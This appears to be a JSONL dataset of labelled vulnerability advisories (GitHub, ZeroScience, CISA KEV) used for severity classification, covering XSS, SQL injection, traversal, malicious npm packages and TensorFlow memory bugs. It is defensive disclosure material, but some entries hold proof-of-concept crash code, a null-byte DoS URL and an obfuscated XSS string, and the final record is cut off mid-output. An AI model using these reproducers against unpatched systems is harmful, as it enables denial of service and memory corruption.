-{"id": "fe5c96c3003d1d0f18a1", "text": "Prototype pollution in dojo\n\nIn affected versions of dojo (NPM package), the deepCopy method is vulnerable to Prototype Pollution.\n\nPrototype Pollution refers to the ability to inject properties into existing JavaScript language construct prototypes, such as objects.\nAn attacker manipulates these attributes to overwrite, or pollute, a JavaScript application object prototype of the base object by injecting other values.\n\nThis has been patched in versions 1.12.8, 1.13.7, 1.14.6, 1.15.3 and 1.16.2", "text_raw": "Prototype pollution in dojo\n\n[Severity: HIGH]\n\nIn affected versions of dojo (NPM package), the deepCopy method is vulnerable to Prototype Pollution.\n\nPrototype Pollution refers to the ability to inject properties into existing JavaScript language construct prototypes, such as objects.\nAn attacker manipulates these attributes to overwrite, or pollute, a JavaScript application object prototype of the base object by injecting other values. \n\nThis has been patched in versions 1.12.8, 1.13.7, 1.14.6, 1.15.3 and 1.16.2", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2020-03-10", "split": "train"}
-{"id": "99ce0d94063fee07e9cc", "text": "Cross-Site Request Forgery in snipe-it\n\nsnipe-it is vulnerable to Cross-Site Request Forgery (CSRF).", "text_raw": "Cross-Site Request Forgery in snipe-it\n\n[Severity: MEDIUM]\n\nsnipe-it is vulnerable to Cross-Site Request Forgery (CSRF).", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2021-10-21", "split": "train"}
-{"id": "93a9497ec7a0bba02e6e", "text": "Malicious Package in carloprojectlesang\n\nAll versions of `carloprojectlesang` contain obfuscated malware that uploads Discord user tokens to a remote server. This allows attackers to make purchases on behalf of users if they have credit cards linked to their Discord accounts.\n\n## Recommendation\n\nRemove the package from your environment. Review your Discord account access and rotate tokens if possible. If a credit card was linked to a compromised account contact your credit card company.", "text_raw": "Malicious Package in carloprojectlesang\n\n[Severity: CRITICAL]\n\nAll versions of `carloprojectlesang` contain obfuscated malware that uploads Discord user tokens to a remote server. This allows attackers to make purchases on behalf of users if they have credit cards linked to their Discord accounts.\n\n\n## Recommendation\n\nRemove the package from your environment. Review your Discord account access and rotate tokens if possible. If a credit card was linked to a compromised account contact your credit card company.", "severity": "critical", "severity_label": 3, "source": "github_advisory", "timestamp": "2020-09-02", "split": "train"}
-{"id": "fb2d2d3f67f4b2bc7fb8", "text": "AContent 1.1 Multiple SQL Injection Vulnerabilities", "text_raw": "AContent 1.1 Multiple SQL Injection Vulnerabilities\n\nSeverity: medium", "severity": "medium", "severity_label": 1, "source": "zeroscience", "timestamp": "2011-08-06", "split": "train"}
-{"id": "0f8effccd345787a8811", "text": "Cross-Site Scripting in Qiita-Markdown\n\nIncrements Qiita-Markdown before 0.33.0 allows XSS in transformers.", "text_raw": "Cross-Site Scripting in Qiita-Markdown\n\n[Severity: MEDIUM]\n\nIncrements Qiita-Markdown before 0.33.0 allows XSS in transformers.", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2021-08-02", "split": "train"}
-{"id": "b7b3fd72d544705f1acc", "text": "Unaligned references in sized-chunks\n\nAn issue was discovered in the sized-chunks crate through 0.6.2 for Rust. In the InlineArray implementation, an unaligned reference may be generated for a type that has a large alignment requirement.", "text_raw": "Unaligned references in sized-chunks\n\n[Severity: HIGH]\n\nAn issue was discovered in the sized-chunks crate through 0.6.2 for Rust. In the InlineArray implementation, an unaligned reference may be generated for a type that has a large alignment requirement.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2021-08-25", "split": "train"}
-{"id": "e79b0778714a692297ed", "text": "xterm vulnerable to remote code execution\n\nA remote code execution vulnerability exists in Xterm.js when the component mishandles special characters.", "text_raw": "xterm vulnerable to remote code execution \n\n[Severity: HIGH]\n\nA remote code execution vulnerability exists in Xterm.js when the component mishandles special characters.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2019-01-14", "split": "train"}
-{"id": "833dc573e66a020681db", "text": "Mp3 Tag Assistant Pro 2.92 (tag metadata) Remote Stack Overflow PoC", "text_raw": "Mp3 Tag Assistant Pro 2.92 (tag metadata) Remote Stack Overflow PoC\n\nSeverity: medium", "severity": "medium", "severity_label": 1, "source": "zeroscience", "timestamp": "2009-06-01", "split": "train"}
-{"id": "fcbca3e9b114219d4736", "text": "Rubyzip gem contains a Directory Traversal vulnerability in zip file component\n\nrubyzip gem rubyzip version 1.2.1 and earlier contains a Directory Traversal vulnerability in Zip::File component that can result in write arbitrary files to the filesystem. This attack appear to be exploitable via If a site allows uploading of .zip files , an attacker can upload a malicious file that contains symlinks or files with absolute pathnames \"../\" to write arbitrary files to the filesystem..\n\nThis is similar to CVE-2017-5946 which was patched in 1.2.1 but the fix in that case was incomplete.", "text_raw": "Rubyzip gem contains a Directory Traversal vulnerability in zip file component\n\n[Severity: CRITICAL]\n\nrubyzip gem rubyzip version 1.2.1 and earlier contains a Directory Traversal vulnerability in Zip::File component that can result in write arbitrary files to the filesystem. This attack appear to be exploitable via If a site allows uploading of .zip files , an attacker can upload a malicious file that contains symlinks or files with absolute pathnames \"../\" to write arbitrary files to the filesystem..\n\nThis is similar to CVE-2017-5946 which was patched in 1.2.1 but the fix in that case was incomplete.", "severity": "critical", "severity_label": 3, "source": "github_advisory", "timestamp": "2018-09-06", "split": "train"}
-{"id": "b896fb37673589ea6b78", "text": "Digital Scribe 1.5 (register_form()) Multiple POST XSS Vulnerabilities", "text_raw": "Digital Scribe 1.5 (register_form()) Multiple POST XSS Vulnerabilities\n\nSeverity: medium", "severity": "medium", "severity_label": 1, "source": "zeroscience", "timestamp": "2011-07-31", "split": "train"}
-{"id": "6b3a4b368b8e3f625eca", "text": "Privilege escalation by backend users assigned to the default \"Publisher\" system role\n\n### Impact\nBackend users with the default \"Publisher\" system role have access to create & manage users where they can choose which role the new user has. This means that a user with \"Publisher\" access has the ability to escalate their access to \"Developer\" access.\n\n### Patches\nIssue has been patched in Build 470 (v1.0.470) & v1.1.1.\n\n### Workarounds\nApply https://github.com/octobercms/october/commit/78a37298a4ed4602b383522344a31e311402d829 to your installation manually if unable to upgrade to Build 470 or v1.1.1.\n\n### References\nReported by [Hoan Hoang](https://github.com/hoanhp)\n\n### For more information\nIf you have any questions or comments about this advisory:\n* Email us at [hello@octobercms.com](mailto:hello@octobercms.com)\n\n### Threat assessment:\n<img width=\"1098\" alt=\"Screen Shot 2020-10-10 at 1 37 25 PM\" src=\"https://user-images.githubusercontent.com/7253840/95663611-e6326c80-0afd-11eb-8a1e-8b767a7202fb.png\">", "text_raw": "Privilege escalation by backend users assigned to the default \"Publisher\" system role\n\n[Severity: LOW]\n\n### Impact\nBackend users with the default \"Publisher\" system role have access to create & manage users where they can choose which role the new user has. This means that a user with \"Publisher\" access has the ability to escalate their access to \"Developer\" access. \n\n### Patches\nIssue has been patched in Build 470 (v1.0.470) & v1.1.1.\n\n### Workarounds\nApply https://github.com/octobercms/october/commit/78a37298a4ed4602b383522344a31e311402d829 to your installation manually if unable to upgrade to Build 470 or v1.1.1.\n\n### References\nReported by [Hoan Hoang](https://github.com/hoanhp)\n\n### For more information\nIf you have any questions or comments about this advisory:\n* Email us at [hello@octobercms.com](mailto:hello@octobercms.com)\n\n### Threat assessment:\n<img width=\"1098\" alt=\"Screen Shot 2020-10-10 at 1 37 25 PM\" src=\"https://user-images.githubusercontent.com/7253840/95663611-e6326c80-0afd-11eb-8a1e-8b767a7202fb.png\">", "severity": "low", "severity_label": 0, "source": "github_advisory", "timestamp": "2020-11-23", "split": "train"}
-{"id": "055aec8c8dde6b351d91", "text": "Division by zero in `Conv3D`\n\n### Impact\nA malicious user could trigger a division by 0 in `Conv3D` implementation:\n\n```python\nimport tensorflow as tf\n\ninput_tensor = tf.constant([], shape=[0, 0, 0, 0, 0], dtype=tf.float32)\nfilter_tensor = tf.constant([], shape=[0, 0, 0, 0, 0], dtype=tf.float32)\n\ntf.raw_ops.Conv3D(input=input_tensor, filter=filter_tensor, strides=[1, 56, 56, 56, 1], padding='VALID', data_format='NDHWC', dilations=[1, 1, 1, 23, 1])\n```\n\nThe [implementation](https://github.com/tensorflow/tensorflow/blob/42033603003965bffac51ae171b51801565e002d/tensorflow/core/kernels/conv_ops_3d.cc#L143-L145) does a modulo operation based on user controlled input:\n\n```cc\n  const int64 out_depth = filter.dim_size(4);\n  OP_REQUIRES(context, in_depth % filter_depth == 0, ...);\n```\n\nThus, when `filter` has a 0 as the fifth element, this results in a division by 0.\n\nAdditionally, if the shape of the two tensors is not valid, an Eigen assertion can be triggered, resulting in a program crash:\n\n```python\nimport tensorflow as tf\n\ninput_tensor = tf.constant([], shape=[2, 2, 2, 2, 0], dtype=tf.float32)\nfilter_tensor = tf.constant([], shape=[0, 0, 2, 6, 2], dtype=tf.float32)\n\ntf.raw_ops.Conv3D(input=input_tensor, filter=filter_tensor, strides=[1, 56, 39, 34, 1], padding='VALID', data_format='NDHWC', dilations=[1, 1, 1, 1, 1])\n```\n\nThe shape of the two tensors must follow the constraints specified in the [op description](https://www.tensorflow.org/api_docs/python/tf/raw_ops/Conv3D).\n\n### Patches\nWe have patched the issue in GitHub commit [799f835a3dfa00a4d852defa29b15841eea9d64f](https://github.com/tensorflow/tensorflow/commit/799f835a3dfa00a4d852defa29b15841eea9d64f).\n\nThe fix will be included in TensorFlow 2.5.0. We will also cherrypick this commit on TensorFlow 2.4.2, TensorFlow 2.3.3, TensorFlow 2.2.3 and TensorFlow 2.1.4, as these are also affected and still in supported range.\n\n### For more information\nPlease consult [our security guide](https://github.com/tensorflow/tensorflow/blob/master/SECURITY.md) for more information regarding the security model and how to contact us with issues and questions.\n\n### Attribution\nThis vulnerability has been reported by Yakun Zhang and Ying Wang of Baidu X-Team.", "text_raw": "Division by zero in `Conv3D`\n\n[Severity: LOW]\n\n### Impact\nA malicious user could trigger a division by 0 in `Conv3D` implementation:\n\n```python\nimport tensorflow as tf\n\ninput_tensor = tf.constant([], shape=[0, 0, 0, 0, 0], dtype=tf.float32)\nfilter_tensor = tf.constant([], shape=[0, 0, 0, 0, 0], dtype=tf.float32)\n\ntf.raw_ops.Conv3D(input=input_tensor, filter=filter_tensor, strides=[1, 56, 56, 56, 1], padding='VALID', data_format='NDHWC', dilations=[1, 1, 1, 23, 1])\n```\n\nThe [implementation](https://github.com/tensorflow/tensorflow/blob/42033603003965bffac51ae171b51801565e002d/tensorflow/core/kernels/conv_ops_3d.cc#L143-L145) does a modulo operation based on user controlled input:\n\n```cc\n  const int64 out_depth = filter.dim_size(4);\n  OP_REQUIRES(context, in_depth % filter_depth == 0, ...);\n```\n\nThus, when `filter` has a 0 as the fifth element, this results in a division by 0.\n\nAdditionally, if the shape of the two tensors is not valid, an Eigen assertion can be triggered, resulting in a program crash:\n\n```python\nimport tensorflow as tf\n\ninput_tensor = tf.constant([], shape=[2, 2, 2, 2, 0], dtype=tf.float32)\nfilter_tensor = tf.constant([], shape=[0, 0, 2, 6, 2], dtype=tf.float32)\n\ntf.raw_ops.Conv3D(input=input_tensor, filter=filter_tensor, strides=[1, 56, 39, 34, 1], padding='VALID', data_format='NDHWC', dilations=[1, 1, 1, 1, 1])\n```\n\nThe shape of the two tensors must follow the constraints specified in the [op description](https://www.tensorflow.org/api_docs/python/tf/raw_ops/Conv3D).\n\n### Patches\nWe have patched the issue in GitHub commit [799f835a3dfa00a4d852defa29b15841eea9d64f](https://github.com/tensorflow/tensorflow/commit/799f835a3dfa00a4d852defa29b15841eea9d64f).\n\nThe fix will be included in TensorFlow 2.5.0. We will also cherrypick this commit on TensorFlow 2.4.2, TensorFlow 2.3.3, TensorFlow 2.2.3 and TensorFlow 2.1.4, as these are also affected and still in supported range.\n\n### For more information\nPlease consult [our security guide](https://github.com/tensorflow/tensorflow/blob/master/SECURITY.md) for more information regarding the security model and how to contact us with issues and questions.\n\n### Attribution\nThis vulnerability has been reported by Yakun Zhang and Ying Wang of Baidu X-Team.", "severity": "low", "severity_label": 0, "source": "github_advisory", "timestamp": "2021-05-21", "split": "train"}
-{"id": "0fb96ddf3418576f4aac", "text": "OS Command Injection in enpeem\n\nenpeem through 2.2.0 allows execution of arbitrary commands. The &quot;options.dir&quot; argument is provided to the &quot;exec&quot; function without any sanitization.", "text_raw": "OS Command Injection in enpeem\n\n[Severity: HIGH]\n\nenpeem through 2.2.0 allows execution of arbitrary commands. The &quot;options.dir&quot; argument is provided to the &quot;exec&quot; function without any sanitization.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2021-04-13", "split": "train"}
-{"id": "5ae4b06c48f7cf54a4f9", "text": "XSS in apexcharts\n\nThe package apexcharts before 3.24.0 are vulnerable to Cross-site Scripting (XSS) via lack of sanitization of graph legend fields.", "text_raw": "XSS in apexcharts\n\n[Severity: MEDIUM]\n\nThe package apexcharts before 3.24.0 are vulnerable to Cross-site Scripting (XSS) via lack of sanitization of graph legend fields.", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2021-02-11", "split": "train"}
-{"id": "2dbc87130f234caa1558", "text": "Apache Tomcat information exposure vulnerability\n\nSecurity constraints defined by annotations of Servlets in Apache Tomcat 9.0.0.M1 to 9.0.4, 8.5.0 to 8.5.27, 8.0.0.RC1 to 8.0.49 and 7.0.0 to 7.0.84 were only applied once a Servlet had been loaded. Because security constraints defined in this way apply to the URL pattern and any URLs below that point, it was possible - depending on the order Servlets were loaded - for some security constraints not to be applied. This could have exposed resources to users who were not authorised to access them.", "text_raw": "Apache Tomcat information exposure vulnerability\n\n[Severity: MEDIUM]\n\nSecurity constraints defined by annotations of Servlets in Apache Tomcat 9.0.0.M1 to 9.0.4, 8.5.0 to 8.5.27, 8.0.0.RC1 to 8.0.49 and 7.0.0 to 7.0.84 were only applied once a Servlet had been loaded. Because security constraints defined in this way apply to the URL pattern and any URLs below that point, it was possible - depending on the order Servlets were loaded - for some security constraints not to be applied. This could have exposed resources to users who were not authorised to access them.", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2018-10-17", "split": "train"}
-{"id": "02caa7382d33d748ee0e", "text": "Improper Restriction of XML External Entity Reference in jackson-mapper-asl\n\nA flaw was found in org.codehaus.jackson:jackson-mapper-asl:1.9.x libraries. XML external entity vulnerabilities similar to CVE-2016-3720 also affects codehaus jackson-mapper-asl libraries but in different classes.", "text_raw": "Improper Restriction of XML External Entity Reference in jackson-mapper-asl\n\n[Severity: HIGH]\n\nA flaw was found in org.codehaus.jackson:jackson-mapper-asl:1.9.x libraries. XML external entity vulnerabilities similar to CVE-2016-3720 also affects codehaus jackson-mapper-asl libraries but in different classes.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2020-02-04", "split": "train"}
-{"id": "09433a78d4403eaa9671", "text": "Resources Downloaded over Insecure Protocol in igniteui\n\nAffected versions of `igniteui` download Javascript and CSS resources over an unencrypted HTTP connection. An attacker with a privileged network position can intercept and view or modify any content sent or recieved over an unencrypted HTTP connection.\n\n## Recommendation\n\nThe `igniteui` package has been deprecated by the package author and now exists under [`ignite-ui`](https://preview.npmjs.com/package/ignite-ui), which should be used in place of this package.", "text_raw": "Resources Downloaded over Insecure Protocol in igniteui\n\n[Severity: LOW]\n\nAffected versions of `igniteui` download Javascript and CSS resources over an unencrypted HTTP connection. An attacker with a privileged network position can intercept and view or modify any content sent or recieved over an unencrypted HTTP connection.\n\n\n\n\n## Recommendation\n\nThe `igniteui` package has been deprecated by the package author and now exists under [`ignite-ui`](https://preview.npmjs.com/package/ignite-ui), which should be used in place of this package.", "severity": "low", "severity_label": 0, "source": "github_advisory", "timestamp": "2019-02-18", "split": "train"}
-{"id": "49c3f135252c504448ef", "text": "Cross-Site Scripting in swagger-ui\n\nVersions of `swagger-ui` prior to 2.2.1 are vulnerable to Cross-Site Scripting (XSS). The package fails to encode output in GET requests. The request is meant to respond with Content-Type `application/json` which does not trigger the vulnerability but if the web server changes the header to `text/html` it may allow attackers to execute arbitrary JavaScript.\n\n## Recommendation\n\nUpgrade to version 2.2.1 or later.", "text_raw": "Cross-Site Scripting in swagger-ui\n\n[Severity: MEDIUM]\n\nVersions of `swagger-ui` prior to 2.2.1 are vulnerable to Cross-Site Scripting (XSS). The package fails to encode output in GET requests. The request is meant to respond with Content-Type `application/json` which does not trigger the vulnerability but if the web server changes the header to `text/html` it may allow attackers to execute arbitrary JavaScript.\n\n\n## Recommendation\n\nUpgrade to version 2.2.1 or later.", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2020-09-11", "split": "train"}
-{"id": "228692a5e74becba84ab", "text": "NEC Univerge SV9100/SV8100 WebPro 10.0 Remote Configuration Download", "text_raw": "NEC Univerge SV9100/SV8100 WebPro 10.0 Remote Configuration Download\n\nSeverity: high", "severity": "high", "severity_label": 2, "source": "zeroscience", "timestamp": "2018-01-22", "split": "train"}
-{"id": "2f9f6b8df3fd71ee9350", "text": "EduSec 4.2.5 Multiple SQL Injection Vulnerabilities", "text_raw": "EduSec 4.2.5 Multiple SQL Injection Vulnerabilities\n\nSeverity: medium", "severity": "medium", "severity_label": 1, "source": "zeroscience", "timestamp": "2016-05-25", "split": "train"}
-{"id": "7708301d3b1cf41764f7", "text": "Denial of Service in node-static\n\nAll versions of node-static are vulnerable to a Denial of Service. The package fails to catch an exception when user input includes null bytes. This allows attackers to access `http://host/%00` and crash the server.", "text_raw": "Denial of Service in node-static\n\n[Severity: MEDIUM]\n\nAll versions of node-static are vulnerable to a Denial of Service. The package fails to catch an exception when user input includes null bytes. This allows attackers to access `http://host/%00` and crash the server.", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2021-09-22", "split": "train"}
-{"id": "511044539b4c8b027163", "text": "Hijacked Environment Variables in proxy.js\n\nThe `proxy.js` package is a piece of malware that steals environment variables and sends them to attacker controlled locations.\n\nAll versions have been unpublished from the npm registry.\n\n## Recommendation\n\nAs this package is malware, if you find it installed in your environment, the real security concern is determining how it got there.\n\nIf you have found this installed in your environment, you should:\n1. Delete the package\n2. Clear your npm cache\n3. Ensure it is not present in any other package.json files on your system\n4. Regenerate your registry credentials, tokens, and any other sensitive credentials that may have been present in your environment variables.\n\nAdditionally, any service which may have been exposed via credentials in your environment variables, such as a database, should be reviewed for indicators of compromise as well.", "text_raw": "Hijacked Environment Variables in proxy.js\n\n[Severity: MEDIUM]\n\nThe `proxy.js` package is a piece of malware that steals environment variables and sends them to attacker controlled locations. \n\nAll versions have been unpublished from the npm registry.\n\n\n## Recommendation\n\n\nAs this package is malware, if you find it installed in your environment, the real security concern is determining how it got there. \n\nIf you have found this installed in your environment, you should:\n1. Delete the package\n2. Clear your npm cache\n3. Ensure it is not present in any other package.json files on your system\n4. Regenerate your registry credentials, tokens, and any other sensitive credentials that may have been present in your environment variables. \n\nAdditionally, any service which may have been exposed via credentials in your environment variables, such as a database, should be reviewed for indicators of compromise as well.", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2018-08-29", "split": "train"}
-{"id": "c2c01f0b3e896c195d1b", "text": "Native Instruments Reaktor 5 Player v5.5.1 Heap Memory Corruption Vulnerability", "text_raw": "Native Instruments Reaktor 5 Player v5.5.1 Heap Memory Corruption Vulnerability\n\nSeverity: high", "severity": "high", "severity_label": 2, "source": "zeroscience", "timestamp": "2010-11-20", "split": "train"}
-{"id": "8cf050859136b2165b3b", "text": "Google Chromium Indexed DB API Use-After-Free Vulnerability\n\nAffected: Google Chromium Indexed DB API\n\nGoogle Chromium Indexed DB API contains a use-after-free vulnerability that allows a remote attacker, who has compromised the renderer process, to potentially perform a sandbox escape via a crafted HTML page. This vulnerability could affect multiple web browsers that utilize Chromium, including, but not limited to, Google Chrome, Microsoft Edge, and Opera.\n\nRequired Action: Apply updates per vendor instructions.\n\nCWE(s): CWE-416\n\n[Source: CISA Known Exploited Vulnerabilities Catalog]", "text_raw": "Google Chromium Indexed DB API Use-After-Free Vulnerability\n\nAffected: Google Chromium Indexed DB API\n\nGoogle Chromium Indexed DB API contains a use-after-free vulnerability that allows a remote attacker, who has compromised the renderer process, to potentially perform a sandbox escape via a crafted HTML page. This vulnerability could affect multiple web browsers that utilize Chromium, including, but not limited to, Google Chrome, Microsoft Edge, and Opera.\n\nRequired Action: Apply updates per vendor instructions.\n\nCWE(s): CWE-416\n\n[Source: CISA Known Exploited Vulnerabilities Catalog]", "severity": "critical", "severity_label": 3, "source": "cisa_kev", "timestamp": "2021-11-03", "split": "train"}
-{"id": "23b7ba85138b93f44a57", "text": "Prototype pollution in gsap\n\nThere is a prototype pollution vulnerability in gsap which affects all versions before 3.6.0.", "text_raw": "Prototype pollution in gsap\n\n[Severity: HIGH]\n\nThere is a prototype pollution vulnerability in gsap which affects all versions before 3.6.0.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2021-01-20", "split": "train"}
-{"id": "ef3ef54f800a16b0acb4", "text": "Out of bounds write in prost\n\nAffected versions of this crate contained a bug in which decoding untrusted input could overflow the stack. On architectures with stack probes (like x86), this can be used for denial of service attacks, while on architectures without stack probes (like ARM) overflowing the stack is unsound and can result in potential memory corruption (or even RCE).", "text_raw": "Out of bounds write in prost\n\n[Severity: CRITICAL]\n\nAffected versions of this crate contained a bug in which decoding untrusted input could overflow the stack. On architectures with stack probes (like x86), this can be used for denial of service attacks, while on architectures without stack probes (like ARM) overflowing the stack is unsound and can result in potential memory corruption (or even RCE).", "severity": "critical", "severity_label": 3, "source": "github_advisory", "timestamp": "2021-08-25", "split": "train"}
-{"id": "d08995d265073b33d5dc", "text": "devolo dLAN Cockpit 4.3.1 Unquoted Service Path Privilege Escalation", "text_raw": "devolo dLAN Cockpit 4.3.1 Unquoted Service Path Privilege Escalation\n\nSeverity: low", "severity": "low", "severity_label": 0, "source": "zeroscience", "timestamp": "2019-02-03", "split": "train"}
-{"id": "cb2caf4a219f61db1c2c", "text": "Microsoft Visio 2010 v14.0.4514.1004 (dwmapi.dll) DLL Hijacking Exploit", "text_raw": "Microsoft Visio 2010 v14.0.4514.1004 (dwmapi.dll) DLL Hijacking Exploit\n\nSeverity: high", "severity": "high", "severity_label": 2, "source": "zeroscience", "timestamp": "2010-08-26", "split": "train"}
-{"id": "042fae31eae22dbb8a3d", "text": "Denial of service in GJSON\n\nGJSON before 1.6.4 allows attackers to cause a denial of service via crafted JSON. Due to improper bounds checking, maliciously crafted JSON objects can cause an out-of-bounds panic. If parsing user input, this may be used as a denial of service vector.", "text_raw": "Denial of service in GJSON\n\n[Severity: HIGH]\n\nGJSON before 1.6.4 allows attackers to cause a denial of service via crafted JSON. Due to improper bounds checking, maliciously crafted JSON objects can cause an out-of-bounds panic. If parsing user input, this may be used as a denial of service vector.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2021-06-23", "split": "train"}
-{"id": "b3fd8ee0e50981add943", "text": "Cross-site Scripting in pandao editor.md\n\npandao Editor.md 1.5.0 allows XSS via the Javas&#99;ript: string.", "text_raw": "Cross-site Scripting in pandao editor.md\n\n[Severity: MEDIUM]\n\npandao Editor.md 1.5.0 allows XSS via the Javas&#99;ript: string.", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2019-08-23", "split": "train"}
-{"id": "a244ae2a46981dfcb3b5", "text": "Adobe Photoshop CS4 Extended 11.0 ABR File Handling Remote Buffer Overflow PoC", "text_raw": "Adobe Photoshop CS4 Extended 11.0 ABR File Handling Remote Buffer Overflow PoC\n\nSeverity: high", "severity": "high", "severity_label": 2, "source": "zeroscience", "timestamp": "2010-05-26", "split": "train"}
-{"id": "8bbfe0a58f50053b0448", "text": "Kemana Directory 1.5.6 Database Backup Disclosure Exploit", "text_raw": "Kemana Directory 1.5.6 Database Backup Disclosure Exploit\n\nSeverity: medium", "severity": "medium", "severity_label": 1, "source": "zeroscience", "timestamp": "2014-03-25", "split": "train"}
-{"id": "c6b380a5de394c155f37", "text": "Arbitrary File Overwrite in fstream\n\nVersions of `fstream` prior to 1.0.12 are vulnerable to Arbitrary File Overwrite. Extracting tarballs containing a hardlink to a file that already exists in the system and a file that matches the hardlink will overwrite the system's file with the contents of the extracted file. The `fstream.DirWriter()` function is vulnerable.\n\n## Recommendation\n\nUpgrade to version 1.0.12 or later.", "text_raw": "Arbitrary File Overwrite in fstream\n\n[Severity: HIGH]\n\nVersions of `fstream` prior to 1.0.12 are vulnerable to Arbitrary File Overwrite. Extracting tarballs containing a hardlink to a file that already exists in the system and a file that matches the hardlink will overwrite the system's file with the contents of the extracted file. The `fstream.DirWriter()` function is vulnerable.\n\n\n## Recommendation\n\nUpgrade to version 1.0.12 or later.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2019-05-30", "split": "train"}
-{"id": "334b93d8d0d88ac3208d", "text": "ImageMagick Server-Side Request Forgery (SSRF) Vulnerability\n\nAffected: ImageMagick ImageMagick\n\nImageMagick contains an unspecified vulnerability that allows attackers to perform server-side request forgery (SSRF) via a crafted image.\n\nRequired Action: Apply updates per vendor instructions.\n\nCWE(s): CWE-20\n\n[Source: CISA Known Exploited Vulnerabilities Catalog]", "text_raw": "ImageMagick Server-Side Request Forgery (SSRF) Vulnerability\n\nAffected: ImageMagick ImageMagick\n\nImageMagick contains an unspecified vulnerability that allows attackers to perform server-side request forgery (SSRF) via a crafted image.\n\nRequired Action: Apply updates per vendor instructions.\n\nCWE(s): CWE-20\n\n[Source: CISA Known Exploited Vulnerabilities Catalog]", "severity": "critical", "severity_label": 3, "source": "cisa_kev", "timestamp": "2021-11-03", "split": "train"}
-{"id": "de727b39fbd143063800", "text": "Rifatron Intelligent Digital Security System (animate.cgi) Stream Disclosure", "text_raw": "Rifatron Intelligent Digital Security System (animate.cgi) Stream Disclosure\n\nSeverity: medium", "severity": "medium", "severity_label": 1, "source": "zeroscience", "timestamp": "2019-09-08", "split": "train"}
-{"id": "d02840c5636005d78810", "text": "XML External Entity in Dashboard Widget\n\n### Problem\nIt has been discovered that RSS widgets are susceptible to XML external entity processing.\nThis vulnerability is reasonable, but is theoretical - it was not possible to actually reproduce the vulnerability with current PHP versions of supported and maintained system distributions.\n\nAt least with _libxml2_ version 2.9, the processing of XML external entities is disabled per default - and cannot be exploited. Besides that, a valid backend user account is needed.\n\n### Solution\nUpdate to TYPO3 version 10.4.10 that fixes the problem described.", "text_raw": "XML External Entity in Dashboard Widget\n\n[Severity: LOW]\n\n### Problem\nIt has been discovered that RSS widgets are susceptible to XML external entity processing.\nThis vulnerability is reasonable, but is theoretical - it was not possible to actually reproduce the vulnerability with current PHP versions of supported and maintained system distributions.\n\nAt least with _libxml2_ version 2.9, the processing of XML external entities is disabled per default - and cannot be exploited. Besides that, a valid backend user account is needed.\n\n### Solution\nUpdate to TYPO3 version 10.4.10 that fixes the problem described.", "severity": "low", "severity_label": 0, "source": "github_advisory", "timestamp": "2020-11-23", "split": "train"}
-{"id": "19f6d55a03b8de6b52d2", "text": "Lack of validation in data format attributes in TensorFlow\n\n### Impact\nThe `tf.raw_ops.DataFormatVecPermute` API does not validate the `src_format` and `dst_format` attributes. [The code](https://github.com/tensorflow/tensorflow/blob/304b96815324e6a73d046df10df6626d63ac12ad/tensorflow/core/kernels/data_format_ops.cc) assumes that these two arguments define a permutation of `NHWC`.\n\nHowever, these assumptions are not checked and this can result in uninitialized memory accesses, read outside of bounds and even crashes.\n\n```python\n>>> import tensorflow as tf\n>>> tf.raw_ops.DataFormatVecPermute(x=[1,4], src_format='1234', dst_format='1234')\n<tf.Tensor: shape=(2,), dtype=int32, numpy=array([4, 757100143], dtype=int32)>\n...\n>>> tf.raw_ops.DataFormatVecPermute(x=[1,4], src_format='HHHH', dst_format='WWWW')\n<tf.Tensor: shape=(2,), dtype=int32, numpy=array([4, 32701], dtype=int32)>\n...\n>>> tf.raw_ops.DataFormatVecPermute(x=[1,4], src_format='H', dst_format='W')\n<tf.Tensor: shape=(2,), dtype=int32, numpy=array([4, 32701], dtype=int32)>\n>>> tf.raw_ops.DataFormatVecPermute(x=[1,2,3,4], \n                                    src_format='1234', dst_format='1253')\n<tf.Tensor: shape=(4,), dtype=int32, numpy=array([4, 2, 939037184, 3], dtype=int32)>\n...\n>>> tf.raw_ops.DataFormatVecPermute(x=[1,2,3,4],\n                                    src_format='1234', dst_format='1223')\n<tf.Tensor: shape=(4,), dtype=int32, numpy=array([4, 32701, 2, 3], dtype=int32)>\n...\n>>> tf.raw_ops.DataFormatVecPermute(x=[1,2,3,4],\n                                    src_format='1224', dst_format='1423')\n<tf.Tensor: shape=(4,), dtype=int32, numpy=array([1, 4, 3, 32701], dtype=int32)>\n...\n>>> tf.raw_ops.DataFormatVecPermute(x=[1,2,3,4], src_format='1234', dst_format='432')\n<tf.Tensor: shape=(4,), dtype=int32, numpy=array([4, 3, 2, 32701], dtype=int32)>\n...\n>>> tf.raw_ops.DataFormatVecPermute(x=[1,2,3,4],\n                                    src_format='12345678', dst_format='87654321')\nmunmap_chunk(): invalid pointer\nAborted\n...\n>>> tf.raw_ops.DataFormatVecPermute(x=[[1,5],[2,6],[3,7],[4,8]],           \n                                    src_format='12345678', dst_format='87654321')\n<tf.Tensor: shape=(4, 2), dtype=int32, numpy=\narray([[71364624,        0],\n       [71365824,        0],\n       [     560,        0],\n       [      48,        0]], dtype=int32)>\n...\n>>> tf.raw_ops.DataFormatVecPermute(x=[[1,5],[2,6],[3,7],[4,8]], \n                                    src_format='12345678', dst_format='87654321')\nfree(): invalid next size (fast)\nAborted\n```\n\nA similar issue occurs in `tf.raw_ops.DataFormatDimMap`, for the same reasons:\n\n```python\n>>> tf.raw_ops.DataFormatDimMap(x=[[1,5],[2,6],[3,7],[4,8]], src_format='1234',\n>>> dst_format='8765')\n<tf.Tensor: shape=(4, 2), dtype=int32, numpy=\narray([[1954047348, 1954047348],\n       [1852793646, 1852793646],\n       [1954047348, 1954047348],\n       [1852793632, 